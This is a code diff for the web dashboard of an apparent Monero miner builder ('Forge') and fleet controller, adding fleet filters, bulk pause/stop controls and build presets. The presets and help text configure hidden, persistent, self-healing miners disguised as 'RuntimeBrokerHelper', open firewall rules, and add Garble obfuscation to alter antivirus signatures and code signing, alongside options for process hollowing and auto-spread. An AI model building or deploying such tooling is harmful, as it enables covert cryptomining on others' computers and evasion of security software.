||||||
|
flex-direction: column;
|
||||||
|
gap: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-toolbar {
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
padding: 0.85rem 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-toolbar-filters {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.5rem;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-filter-search {
|
||||||
|
flex: 1 1 180px;
|
||||||
|
min-width: 160px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-filter-select {
|
||||||
|
min-width: 120px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-filter-attn {
|
||||||
|
font-size: 0.85rem;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fleet-bulk-bar {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.5rem;
|
||||||
|
align-items: center;
|
||||||
|
margin-top: 0.75rem;
|
||||||
|
padding-top: 0.75rem;
|
||||||
|
border-top: 1px solid rgba(255, 255, 255, 0.08);
|
||||||
|
}
|
||||||
|
|
||||||
|
.agent-list-item.compact-row {
|
||||||
|
cursor: pointer;
|
||||||
|
padding: 0.65rem 0.85rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.agent-list-item.compact-row .agent-list-header {
|
||||||
|
margin-bottom: 0.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.agent-list-item.compact-row .agent-list-details,
|
||||||
|
.agent-list-item.compact-row .agent-list-meta {
|
||||||
|
font-size: 0.82rem;
|
||||||
|
opacity: 0.9;
|
||||||
|
}
|
||||||
|
|
||||||
|
.agent-list-item.expanded {
|
||||||
|
border-color: rgba(0, 245, 255, 0.35);
|
||||||
|
}
|
||||||
|
|
||||||
|
.agent-list-expand {
|
||||||
|
margin-top: 0.65rem;
|
||||||
|
padding-top: 0.65rem;
|
||||||
|
border-top: 1px solid rgba(255, 255, 255, 0.08);
|
||||||
|
}
|
||||||
|
|
||||||
|
.agent-tag-chip {
|
||||||
|
display: inline-block;
|
||||||
|
font-size: 0.7rem;
|
||||||
|
padding: 0.1rem 0.45rem;
|
||||||
|
margin-right: 0.25rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
background: rgba(0, 245, 255, 0.12);
|
||||||
|
color: var(--neon-cyan, #0ff);
|
||||||
|
border: 1px solid rgba(0, 245, 255, 0.25);
|
||||||
|
}
|
||||||
|
|
||||||
|
.agent-list-notes-preview {
|
||||||
|
font-size: 0.8rem;
|
||||||
|
color: var(--text-muted, #888);
|
||||||
|
font-style: italic;
|
||||||
|
margin-top: 0.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.agent-list-select {
|
||||||
|
margin-right: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.agent-meta-editor {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.agent-meta-tags-input {
|
||||||
|
font-size: 0.85rem;
|
||||||
|
}
|
||||||
92
server/web/src/components/Fleet/FleetToolbar.tsx
Normal file
92
server/web/src/components/Fleet/FleetToolbar.tsx
Normal file
@@ -0,0 +1,92 @@
|
|||||||
|
import type { FleetFilterState } from '../../help/fleetFilters';
|
||||||
|
import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters';
|
||||||
|
import type { Agent } from '../../types';
|
||||||
|
import './FleetToolbar.css';
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
agents: Agent[];
|
||||||
|
filters: FleetFilterState;
|
||||||
|
onChange: (next: FleetFilterState) => void;
|
||||||
|
selectedCount: number;
|
||||||
|
onBulkAction: (action: string) => void;
|
||||||
|
bulkBusy: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function FleetToolbar({
|
||||||
|
agents,
|
||||||
|
filters,
|
||||||
|
onChange,
|
||||||
|
selectedCount,
|
||||||
|
onBulkAction,
|
||||||
|
bulkBusy,
|
||||||
|
}: Props) {
|
||||||
|
const tags = collectFleetTags(agents);
|
||||||
|
const subnets = collectFleetSubnets(agents);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="fleet-toolbar card">
|
||||||
|
<div className="fleet-toolbar-filters">
|
||||||
|
<input
|
||||||
|
type="search"
|
||||||
|
className="input fleet-filter-search"
|
||||||
|
placeholder="Search name, IP, notes, tags…"
|
||||||
|
value={filters.search}
|
||||||
|
onChange={(e) => onChange({ ...filters, search: e.target.value })}
|
||||||
|
/>
|
||||||
|
<select
|
||||||
|
className="select fleet-filter-select"
|
||||||
|
value={filters.tag}
|
||||||
|
onChange={(e) => onChange({ ...filters, tag: e.target.value })}
|
||||||
|
title="Filter by tag"
|
||||||
|
>
|
||||||
|
<option value="">All tags</option>
|
||||||
|
{tags.map((t) => (
|
||||||
|
<option key={t} value={t}>{t}</option>
|
||||||
|
))}
|
||||||
|
</select>
|
||||||
|
<select
|
||||||
|
className="select fleet-filter-select"
|
||||||
|
value={filters.subnet}
|
||||||
|
onChange={(e) => onChange({ ...filters, subnet: e.target.value })}
|
||||||
|
title="Filter by subnet"
|
||||||
|
>
|
||||||
|
<option value="">All subnets</option>
|
||||||
|
{subnets.map((s) => (
|
||||||
|
<option key={s} value={s}>{s}</option>
|
||||||
|
))}
|
||||||
|
</select>
|
||||||
|
<select
|
||||||
|
className="select fleet-filter-select"
|
||||||
|
value={String(filters.hashrateMin)}
|
||||||
|
onChange={(e) => onChange({ ...filters, hashrateMin: Number(e.target.value) })}
|
||||||
|
title="Minimum 15m hashrate"
|
||||||
|
>
|
||||||
|
<option value="0">Any hashrate</option>
|
||||||
|
<option value="1000">≥ 1 KH/s</option>
|
||||||
|
<option value="10000">≥ 10 KH/s</option>
|
||||||
|
<option value="100000">≥ 100 KH/s</option>
|
||||||
|
<option value="1000000">≥ 1 MH/s</option>
|
||||||
|
</select>
|
||||||
|
<label className="checkbox-label fleet-filter-attn">
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
className="checkbox"
|
||||||
|
checked={filters.needsAttention}
|
||||||
|
onChange={(e) => onChange({ ...filters, needsAttention: e.target.checked })}
|
||||||
|
/>
|
||||||
|
<span>Needs attention</span>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{selectedCount > 0 && (
|
||||||
|
<div className="fleet-bulk-bar">
|
||||||
|
<span className="font-tech">{selectedCount} selected</span>
|
||||||
|
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
|
||||||
|
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
|
||||||
|
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
|
||||||
|
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle miners</button>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
53
server/web/src/help/fleetFilters.test.ts
Normal file
53
server/web/src/help/fleetFilters.test.ts
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import { agentNeedsAttention, agentSubnet, filterFleetAgents } from './fleetFilters';
|
||||||
|
import type { Agent } from '../types';
|
||||||
|
|
||||||
|
const base = (over: Partial<Agent>): Agent => ({
|
||||||
|
id: '1',
|
||||||
|
name: 'w1',
|
||||||
|
wallet: '',
|
||||||
|
ip: '192.168.1.10',
|
||||||
|
version: '1',
|
||||||
|
status: 'online',
|
||||||
|
cpu_cores: 4,
|
||||||
|
memory_gb: 8,
|
||||||
|
last_seen: '',
|
||||||
|
created_at: '',
|
||||||
|
hashrate_15s: 0,
|
||||||
|
hashrate_1m: 0,
|
||||||
|
hashrate_15m: 5000,
|
||||||
|
shares_total: 0,
|
||||||
|
shares_good: 0,
|
||||||
|
shares_bad: 0,
|
||||||
|
cpu_usage_pct: 0,
|
||||||
|
memory_usage_pct: 0,
|
||||||
|
uptime_seconds: 0,
|
||||||
|
tags: ['lab'],
|
||||||
|
...over,
|
||||||
|
});
|
||||||
|
|
||||||
|
const DEFAULT = {
|
||||||
|
search: '',
|
||||||
|
tag: '',
|
||||||
|
subnet: '',
|
||||||
|
hashrateMin: 0,
|
||||||
|
needsAttention: false,
|
||||||
|
};
|
||||||
|
|
||||||
|
describe('fleetFilters', () => {
|
||||||
|
it('filters by tag and subnet', () => {
|
||||||
|
const agents = [base({}), base({ id: '2', ip: '10.0.0.2', tags: [] })];
|
||||||
|
expect(filterFleetAgents(agents, { ...DEFAULT, tag: 'lab' }).length).toBe(1);
|
||||||
|
expect(filterFleetAgents(agents, { ...DEFAULT, subnet: '192.168.1.x' }).length).toBe(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('flags offline as needs attention', () => {
|
||||||
|
expect(agentNeedsAttention(base({ status: 'offline' }))).toBe(true);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('agentSubnet', () => {
|
||||||
|
it('masks last octet', () => {
|
||||||
|
expect(agentSubnet('192.168.5.22')).toBe('192.168.5.x');
|
||||||
|
});
|
||||||
|
});
|
||||||
95
server/web/src/help/fleetFilters.ts
Normal file
95
server/web/src/help/fleetFilters.ts
Normal file
@@ -0,0 +1,95 @@
|
|||||||
|
import type { Agent } from '../types';
|
||||||
|
|
||||||
|
export interface FleetFilterState {
|
||||||
|
search: string;
|
||||||
|
tag: string;
|
||||||
|
subnet: string;
|
||||||
|
hashrateMin: number;
|
||||||
|
needsAttention: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const DEFAULT_FLEET_FILTERS: FleetFilterState = {
|
||||||
|
search: '',
|
||||||
|
tag: '',
|
||||||
|
subnet: '',
|
||||||
|
hashrateMin: 0,
|
||||||
|
needsAttention: false,
|
||||||
|
};
|
||||||
|
|
||||||
|
export function agentSubnet(ip: string): string {
|
||||||
|
const parts = (ip || '').trim().split('.');
|
||||||
|
if (parts.length >= 3) return `${parts[0]}.${parts[1]}.${parts[2]}.x`;
|
||||||
|
return ip || 'unknown';
|
||||||
|
}
|
||||||
|
|
||||||
|
export function agentRejectRate(agent: Agent): number {
|
||||||
|
if (agent.shares_total <= 0) return 0;
|
||||||
|
return (agent.shares_bad / agent.shares_total) * 100;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function agentNeedsAttention(agent: Agent): boolean {
|
||||||
|
if (agent.status !== 'online') return true;
|
||||||
|
if (agentRejectRate(agent) >= 5 && agent.shares_total >= 10) return true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function agentIsIdleMiner(agent: Agent): boolean {
|
||||||
|
return agent.status === 'online' && agent.hashrate_15m < 100;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function collectFleetTags(agents: Agent[]): string[] {
|
||||||
|
const set = new Set<string>();
|
||||||
|
for (const a of agents) {
|
||||||
|
for (const t of a.tags || []) {
|
||||||
|
const clean = t.trim();
|
||||||
|
if (clean) set.add(clean);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return [...set].sort((a, b) => a.localeCompare(b));
|
||||||
|
}
|
||||||
|
|
||||||
|
export function collectFleetSubnets(agents: Agent[]): string[] {
|
||||||
|
const set = new Set<string>();
|
||||||
|
for (const a of agents) {
|
||||||
|
set.add(agentSubnet(a.ip));
|
||||||
|
}
|
||||||
|
return [...set].sort();
|
||||||
|
}
|
||||||
|
|
||||||
|
export function filterFleetAgents(agents: Agent[], filters: FleetFilterState): Agent[] {
|
||||||
|
const q = filters.search.trim().toLowerCase();
|
||||||
|
return agents.filter((a) => {
|
||||||
|
if (filters.needsAttention && !agentNeedsAttention(a)) return false;
|
||||||
|
if (filters.tag && !(a.tags || []).includes(filters.tag)) return false;
|
||||||
|
if (filters.subnet && agentSubnet(a.ip) !== filters.subnet) return false;
|
||||||
|
if (filters.hashrateMin > 0 && a.hashrate_15m < filters.hashrateMin) return false;
|
||||||
|
if (q) {
|
||||||
|
const hay = [
|
||||||
|
a.name,
|
||||||
|
a.ip,
|
||||||
|
a.notes || '',
|
||||||
|
...(a.tags || []),
|
||||||
|
a.id,
|
||||||
|
]
|
||||||
|
.join(' ')
|
||||||
|
.toLowerCase();
|
||||||
|
if (!hay.includes(q)) return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
export function formatHashrate(h: number): string {
|
||||||
|
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
|
||||||
|
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
|
||||||
|
return `${h.toFixed(0)} H/s`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function formatUptime(seconds: number): string {
|
||||||
|
const d = Math.floor(seconds / 86400);
|
||||||
|
const h = Math.floor((seconds % 86400) / 3600);
|
||||||
|
const m = Math.floor((seconds % 3600) / 60);
|
||||||
|
if (d > 0) return `${d}d ${h}h`;
|
||||||
|
if (h > 0) return `${h}h ${m}m`;
|
||||||
|
return `${m}m`;
|
||||||
|
}
|
||||||
@@ -10,7 +10,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
|||||||
thread_mode: 'percent',
|
thread_mode: 'percent',
|
||||||
thread_percent: 75,
|
thread_percent: 75,
|
||||||
cpu_priority: 'below_normal',
|
cpu_priority: 'below_normal',
|
||||||
mining_mode: 'always',
|
mining_mode: 'idle',
|
||||||
display_mode: 'background',
|
display_mode: 'background',
|
||||||
silent_mode: true,
|
silent_mode: true,
|
||||||
run_as: 'user',
|
run_as: 'user',
|
||||||
@@ -41,10 +41,13 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
|||||||
process_hollowing: false,
|
process_hollowing: false,
|
||||||
mesh_p2p: false,
|
mesh_p2p: false,
|
||||||
auto_spread: false,
|
auto_spread: false,
|
||||||
|
obfuscate: false,
|
||||||
|
sign_build: false,
|
||||||
};
|
};
|
||||||
|
|
||||||
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||||
const publicUrl = config.server?.public_url?.trim();
|
const publicUrl = config.server?.public_url?.trim();
|
||||||
|
const srv = config.server;
|
||||||
return {
|
return {
|
||||||
...FORGE_BUILD_DEFAULTS,
|
...FORGE_BUILD_DEFAULTS,
|
||||||
worker_name: '',
|
worker_name: '',
|
||||||
@@ -54,5 +57,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
|
|||||||
pool_port: config.pool.port,
|
pool_port: config.pool.port,
|
||||||
pool_tls: config.pool.use_tls,
|
pool_tls: config.pool.use_tls,
|
||||||
pool_pass: config.pool.password || 'x',
|
pool_pass: config.pool.password || 'x',
|
||||||
|
obfuscate: srv?.obfuscate_default ?? false,
|
||||||
|
sign_build: srv?.sign_enabled ?? false,
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -157,6 +157,15 @@ export function applyForgeFieldUpdate(
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|
||||||
|
case 'worker_name':
|
||||||
|
if (typeof value === 'string' && value.trim()) {
|
||||||
|
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||||
|
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
|
||||||
|
next.process_name = proc;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
case 'pool_tls':
|
case 'pool_tls':
|
||||||
if (value === true && next.pool_port === 3333) {
|
if (value === true && next.pool_port === 3333) {
|
||||||
// common pools use 443 for TLS — warn in preflight, don't auto-change port
|
// common pools use 443 for TLS — warn in preflight, don't auto-change port
|
||||||
|
|||||||
26
server/web/src/help/forgeSmartDefaults.test.ts
Normal file
26
server/web/src/help/forgeSmartDefaults.test.ts
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import { pickBestServerUrl, suggestWorkerName, applySmartForgeDefaults } from './forgeSmartDefaults';
|
||||||
|
import type { BuildRequest } from '../types';
|
||||||
|
|
||||||
|
describe('forgeSmartDefaults', () => {
|
||||||
|
it('suggests next worker-N name', () => {
|
||||||
|
expect(suggestWorkerName([{ worker_name: 'worker-1' } as any])).toBe('worker-2');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('picks LAN url over localhost', () => {
|
||||||
|
expect(
|
||||||
|
pickBestServerUrl('http://localhost:8989', ['http://192.168.1.5:8989'])
|
||||||
|
).toBe('http://192.168.1.5:8989');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('fills worker and process name', () => {
|
||||||
|
const form = applySmartForgeDefaults(
|
||||||
|
{ worker_name: '', server_url: '' } as BuildRequest,
|
||||||
|
{ endpointCandidates: ['http://10.0.0.2:8989'] }
|
||||||
|
);
|
||||||
|
expect(form.worker_name).toMatch(/^worker-/);
|
||||||
|
expect(form.process_name).toBeTruthy();
|
||||||
|
expect(form.server_url).toBe('http://10.0.0.2:8989');
|
||||||
|
expect(form.mining_mode).toBe('idle');
|
||||||
|
});
|
||||||
|
});
|
||||||
125
server/web/src/help/forgeSmartDefaults.ts
Normal file
125
server/web/src/help/forgeSmartDefaults.ts
Normal file
@@ -0,0 +1,125 @@
|
|||||||
|
import type { BuildRecord, BuildRequest, ServerConfig, ServerInfo } from '../types';
|
||||||
|
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||||
|
import { lanEndpointCandidates } from './endpointHelpers';
|
||||||
|
|
||||||
|
const WORKER_NAME_RE = /^[a-zA-Z0-9._-]+$/;
|
||||||
|
|
||||||
|
/** Suggested unique worker label for the next forge. */
|
||||||
|
export function suggestWorkerName(existing: BuildRecord[]): string {
|
||||||
|
const used = new Set(existing.map((b) => b.worker_name.trim().toLowerCase()).filter(Boolean));
|
||||||
|
for (let i = 1; i <= 999; i++) {
|
||||||
|
const name = `worker-${i}`;
|
||||||
|
if (!used.has(name)) return name;
|
||||||
|
}
|
||||||
|
return `worker-${Date.now().toString(36)}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function sanitizeProcessName(workerName: string): string {
|
||||||
|
const cleaned = workerName.replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||||
|
return cleaned || 'RuntimeBrokerHelper';
|
||||||
|
}
|
||||||
|
|
||||||
|
function isGoodServerUrl(url: string): boolean {
|
||||||
|
try {
|
||||||
|
const u = new URL(url.trim());
|
||||||
|
const host = u.hostname.toLowerCase();
|
||||||
|
return host !== 'localhost' && host !== '127.0.0.1' && host !== '::1';
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Pick the best control-server URL for workers on the LAN. */
|
||||||
|
export function pickBestServerUrl(current: string, candidates: string[]): string {
|
||||||
|
if (current?.trim() && isGoodServerUrl(current)) return current.trim();
|
||||||
|
const first = candidates.find(isGoodServerUrl);
|
||||||
|
return first || current?.trim() || '';
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Home-LAN fleet preset — unobtrusive, persistent, no dangerous extras. */
|
||||||
|
export function recommendedForgePreset(): Partial<BuildRequest> {
|
||||||
|
return {
|
||||||
|
...FORGE_BUILD_DEFAULTS,
|
||||||
|
mining_mode: 'idle',
|
||||||
|
idle_threshold_pct: 20,
|
||||||
|
idle_duration_minutes: 5,
|
||||||
|
thread_mode: 'percent',
|
||||||
|
thread_percent: 75,
|
||||||
|
display_mode: 'background',
|
||||||
|
stealth_mode: true,
|
||||||
|
silent_mode: true,
|
||||||
|
file_logging: false,
|
||||||
|
persistence: true,
|
||||||
|
auto_start: true,
|
||||||
|
self_healing: true,
|
||||||
|
adapt_to_hardware: true,
|
||||||
|
firewall_exclusion: true,
|
||||||
|
process_hollowing: false,
|
||||||
|
mesh_p2p: false,
|
||||||
|
auto_spread: false,
|
||||||
|
ai_enabled: false,
|
||||||
|
fusion_enabled: false,
|
||||||
|
output_dir: 'exports',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface SmartDefaultsContext {
|
||||||
|
builds?: BuildRecord[];
|
||||||
|
endpointCandidates?: string[];
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Merge Calibrate + LAN detection + recommended toggles into a ready-to-forge form. */
|
||||||
|
export function applySmartForgeDefaults(
|
||||||
|
form: BuildRequest,
|
||||||
|
ctx: SmartDefaultsContext = {}
|
||||||
|
): BuildRequest {
|
||||||
|
const preset = recommendedForgePreset();
|
||||||
|
const worker = form.worker_name?.trim() || suggestWorkerName(ctx.builds ?? []);
|
||||||
|
const serverUrl = pickBestServerUrl(form.server_url, ctx.endpointCandidates ?? []);
|
||||||
|
|
||||||
|
return {
|
||||||
|
...form,
|
||||||
|
...preset,
|
||||||
|
worker_name: worker,
|
||||||
|
server_url: serverUrl,
|
||||||
|
wallet: form.wallet?.trim() || form.wallet,
|
||||||
|
pool_host: form.pool_host || preset.pool_host!,
|
||||||
|
pool_port: form.pool_port || preset.pool_port!,
|
||||||
|
pool_tls: form.pool_tls ?? preset.pool_tls!,
|
||||||
|
pool_pass: form.pool_pass || preset.pool_pass!,
|
||||||
|
process_name: sanitizeProcessName(worker),
|
||||||
|
obfuscate: form.obfuscate ?? preset.obfuscate ?? false,
|
||||||
|
sign_build: form.sign_build ?? preset.sign_build ?? false,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export function forgeDefaultsFromServerSmart(
|
||||||
|
config: ServerConfig,
|
||||||
|
serverInfo: ServerInfo,
|
||||||
|
builds: BuildRecord[] = []
|
||||||
|
): BuildRequest {
|
||||||
|
const publicUrl = config.server?.public_url?.trim();
|
||||||
|
const srv = config.server;
|
||||||
|
const candidates = lanEndpointCandidates(serverInfo, config.port || serverInfo.port);
|
||||||
|
const base: BuildRequest = {
|
||||||
|
...recommendedForgePreset(),
|
||||||
|
worker_name: '',
|
||||||
|
server_url: publicUrl || serverInfo.suggested_url || '',
|
||||||
|
wallet: config.wallet.address,
|
||||||
|
pool_host: config.pool.host,
|
||||||
|
pool_port: config.pool.port,
|
||||||
|
pool_tls: config.pool.use_tls,
|
||||||
|
pool_pass: config.pool.password || 'x',
|
||||||
|
obfuscate: srv?.obfuscate_default ?? false,
|
||||||
|
sign_build: srv?.sign_enabled ?? false,
|
||||||
|
} as BuildRequest;
|
||||||
|
return applySmartForgeDefaults(base, { builds, endpointCandidates: candidates });
|
||||||
|
}
|
||||||
|
|
||||||
|
export const RECOMMENDED_DEFAULTS_BLURB =
|
||||||
|
'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
|
||||||
|
|
||||||
|
export function isValidWorkerName(name: string): boolean {
|
||||||
|
const t = name.trim();
|
||||||
|
return t.length > 0 && WORKER_NAME_RE.test(t);
|
||||||
|
}
|
||||||
@@ -1,24 +1,46 @@
|
|||||||
export const SETUP_CHEATSHEET = [
|
export const SETUP_CHEATSHEET = [
|
||||||
{
|
{
|
||||||
title: '1. Calibrate the server',
|
title: '1. Calibrate once',
|
||||||
body: 'Open Calibrate once: set your LAN Public URL, upstream pool, and payout wallet. This configures the control server on this PC only.',
|
body: 'Set your Monero wallet and LAN URL on the Calibrate tab, then Save. Click “Use best defaults” if you are not sure — we fill in the detected LAN address and sensible pool settings.',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
title: '2. Forge your installer',
|
title: '2. Forge (Simple mode)',
|
||||||
body: 'All miner options live here — threads, install path, stealth, persistence, Fusion, AI. Incompatible mixes are blocked; grayed fields do not apply to your current picks. Green badges = baked into the .exe.',
|
body: 'On Forge, Simple mode keeps only what you need: worker name, server URL, wallet. Everything else uses recommended defaults (idle mining, stealth, persistence). Pick a LAN chip, then FORGE INSTALLER.',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
title: '3. Deploy',
|
title: '3. Deploy',
|
||||||
body: 'Copy the built .exe to a worker machine (or USB). Run once — it embeds and connects back to your LAN dashboard.',
|
body: 'Copy the .exe from the project root to each worker PC and run it once. It installs, connects back, and appears on Command Deck.',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
title: '4. Command Deck',
|
title: '4. Watch the fleet',
|
||||||
body: 'Watch live hashrate, CPU, and shares from every machine on your network.',
|
body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them.',
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
|
|
||||||
export const FIELD_HELP: Record<string, string> = {
|
export const FIELD_HELP: Record<string, string> = {
|
||||||
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
|
calibrate_wallet:
|
||||||
|
'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 and be ~95 characters.',
|
||||||
|
calibrate_quick_setup:
|
||||||
|
'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
|
||||||
|
forge_simple_mode:
|
||||||
|
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
|
||||||
|
forge_recommended_defaults:
|
||||||
|
'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
|
||||||
|
obfuscate:
|
||||||
|
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (run.bat installs it).',
|
||||||
|
sign_build:
|
||||||
|
'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
|
||||||
|
obfuscate_default:
|
||||||
|
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with run.bat release.',
|
||||||
|
sign_enabled:
|
||||||
|
'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.',
|
||||||
|
sign_cert_thumbprint:
|
||||||
|
'SHA-1 thumbprint from certmgr.msc → your certificate → Details. The private key must be on this control PC.',
|
||||||
|
sign_tool_path:
|
||||||
|
'Optional full path to signtool.exe. Leave blank to auto-detect from the Windows SDK.',
|
||||||
|
sign_timestamp_url:
|
||||||
|
'RFC 3161 timestamp server used during signing so signatures stay valid after the cert expires.',
|
||||||
|
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3. We auto-suggest worker-1, worker-2, …',
|
||||||
server_url:
|
server_url:
|
||||||
'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
|
'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
|
||||||
output_dir:
|
output_dir:
|
||||||
|
|||||||
@@ -1,9 +1,12 @@
|
|||||||
import { useEffect, useRef, useCallback, useState } from 'react';
|
import { useEffect, useRef, useCallback, useState } from 'react';
|
||||||
import type { WSMessage, Agent, Share, FleetAlert, PoolStatus, AIActivityEntry } from '../types';
|
import type {
|
||||||
|
WSDashboardInit,
|
||||||
interface DashboardInit {
|
WSAgentOffline,
|
||||||
agents: Agent[];
|
WSStatsUpdate,
|
||||||
}
|
WSCommandResult,
|
||||||
|
WSAgentLog,
|
||||||
|
} from '../types/ws';
|
||||||
|
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||||
|
|
||||||
interface UseWebSocketReturn {
|
interface UseWebSocketReturn {
|
||||||
isConnected: boolean;
|
isConnected: boolean;
|
||||||
@@ -54,12 +57,12 @@ export function useWebSocket(): UseWebSocketReturn {
|
|||||||
|
|
||||||
ws.onmessage = (event) => {
|
ws.onmessage = (event) => {
|
||||||
try {
|
try {
|
||||||
const msg: WSMessage = JSON.parse(event.data);
|
const msg = JSON.parse(event.data) as WSMessage;
|
||||||
setLatestMessage(msg);
|
setLatestMessage(msg);
|
||||||
|
|
||||||
switch (msg.type) {
|
switch (msg.type) {
|
||||||
case 'init': {
|
case 'init': {
|
||||||
const data = msg.payload as DashboardInit;
|
const data = msg.payload as WSDashboardInit;
|
||||||
if (data.agents) setAgents(data.agents);
|
if (data.agents) setAgents(data.agents);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -69,7 +72,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
|||||||
const idx = prev.findIndex((a) => a.id === agent.id);
|
const idx = prev.findIndex((a) => a.id === agent.id);
|
||||||
if (idx >= 0) {
|
if (idx >= 0) {
|
||||||
const updated = [...prev];
|
const updated = [...prev];
|
||||||
updated[idx] = agent;
|
updated[idx] = { ...updated[idx], ...agent };
|
||||||
return updated;
|
return updated;
|
||||||
}
|
}
|
||||||
return [...prev, agent];
|
return [...prev, agent];
|
||||||
@@ -77,7 +80,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case 'agent_offline': {
|
case 'agent_offline': {
|
||||||
const { agent_id } = msg.payload as { agent_id: string };
|
const { agent_id } = msg.payload as WSAgentOffline;
|
||||||
setAgents((prev) =>
|
setAgents((prev) =>
|
||||||
prev.map((a) =>
|
prev.map((a) =>
|
||||||
a.id === agent_id ? { ...a, status: 'offline' as const } : a
|
a.id === agent_id ? { ...a, status: 'offline' as const } : a
|
||||||
